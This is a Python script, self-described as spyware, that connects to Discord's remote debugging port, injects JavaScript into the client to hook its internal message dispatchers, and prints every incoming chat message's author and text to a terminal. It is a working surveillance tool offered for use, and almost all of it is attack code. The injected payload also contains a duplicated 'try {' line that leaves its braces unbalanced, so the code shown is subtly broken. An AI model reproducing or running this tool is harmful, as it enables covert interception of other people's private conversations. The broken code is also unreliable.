from websocket import create_connection
import json
import urllib.request
import sys
import time
from datetime import datetime

# --- Configuration ---
# Target local Discord debug port
DEBUG_URL_ENDPOINT = "http://localhost:9222/json"

def get_debug_url():
    try:
        resp = urllib.request.urlopen(DEBUG_URL_ENDPOINT)
        pages = json.loads(resp.read())
        for p in pages:
            # Look for main Discord window
            if "discord.com" in p.get("url", "") or "Discord" in p.get("title", ""):
                return p.get("webSocketDebuggerUrl")
    except Exception as e:
        return None
    return None

def main():
    print(f"[*] Attaching to Discord Debugger...")
    ws_url = get_debug_url()
    
    if not ws_url:
        print("[-] Discord Debug Port (9222) NOT FOUND.")
        print("[-] Please run Discord with: --remote-debugging-port=9222")
        sys.exit(1)
        
    print(f"[+] Connected to: {ws_url}")
    ws = create_connection(ws_url)
    
    # Enable Runtime to receive console logs
    ws.send(json.dumps({"id": 1, "method": "Runtime.enable"}))
    
    # Inject Spyware with Verbose Logging
    js_payload = """
    (function() {
        try {
            const webpackChunk = window.webpackChunkdiscord_app;
            if (!webpackChunk) return "Error: Webpack Not Found";
            
            let found = false;
            
            webpackChunk.push([[Math.random()], {}, (req) => {
                const modules = Object.values(req.c);
                console.log("[SPY_DEBUG] Scanning " + modules.length + " modules for Dispatchers...");
                
                let hookCount = 0;
                
                for (const m of modules) {
                    if (!m.exports) continue;
                    
                    const props = [m.exports, m.exports.default];
                    
                    for (const p of props) {
                        if (p && typeof p.subscribe === 'function' && typeof p.dispatch === 'function') {
                            hookCount++;
                            console.log("[SPY_SYSTEM] Hooking Candidate #" + hookCount);
                            
                            // Hook EVERYTHING to find the right one
                            try {
                            // Hook EVERYTHING to find the right one
                            try {
                                const originalDispatch = p.dispatch;
                                p.dispatch = function(event) {
                                    // LOG EVERYTHING (Traffic Monitor)
                                    if (event && event.type) {
                                        console.log("SPY_DEBUG: [EVENT] " + event.type);
                                        
                                        if (event.type === "MESSAGE_CREATE") {
                                           let msg = event.message;
                                           // Also fallback to optimistic property scan
                                           let content = msg ? msg.content : (event.content || event.data?.content || "No Content");
                                           let author = msg && msg.author ? msg.author.username : "Unknown";
                                           
                                           let log = {
                                                 type: "CHAT_LOG",
                                                 time: new Date().toISOString(),
                                                 author: author,
                                                 content: content
                                           };
                                           console.log("SPY_DATA:" + JSON.stringify(log));
                                        }
                                    }
                                    return originalDispatch.apply(this, arguments);
                                };
                            } catch(err) { console.log("Hook Error: " + err); }
                        }
                    }
                }
                
                if (hookCount > 0) return "Hooked " + hookCount + " Dispatchers (Traffic Monitor Mode)";
            }]);
            
            return "Scan Complete";
        } catch(e) { return "JS Error: " + e.toString(); }
    })()
    """
    
    # Inject Spyware
    ws.send(json.dumps({
        "id": 2, 
        "method": "Runtime.evaluate", 
        "params": {"expression": js_payload}
    }))
    
    print("\n" + "="*60)
    print("🕵️  REAL-TIME CHAT INTERCEPTOR ACTIVE")
    print("="*60)
    print("Waiting for messages... (Type something in Discord!)")
    print("-" * 60)
    
    while True:
        try:
            resp = ws.recv()
            data = json.loads(resp)
            
            # Filter for Console Logs
            if data.get("method") == "Runtime.consoleAPICalled":
                args = data.get("params", {}).get("args", [])
                for arg in args:
                    val = arg.get("value", "")
                    
                    # Check for our data prefix
                    if str(val).startswith("SPY_DATA:"):
                        raw_json = val.replace("SPY_DATA:", "")
                        try:
                            log = json.loads(raw_json)
                            # Format for terminal output
                            # Discord timestamp is usually ISO 8601
                            dt = log['time'].replace("T", " ").split(".")[0]
                            user = log['author']
                            text = log['content']
                            p = f"[{dt}] {user}: {text}"
                            print(p)
                        except:
                            pass
                            
                    elif "[SPY_SYSTEM]" in str(val):
                        print(f"[+] {val}")
                        
        except KeyboardInterrupt:
            print("\n[*] Stopping Spyware...")
            break
        except Exception as e:
            pass

if __name__ == "__main__":
    main()
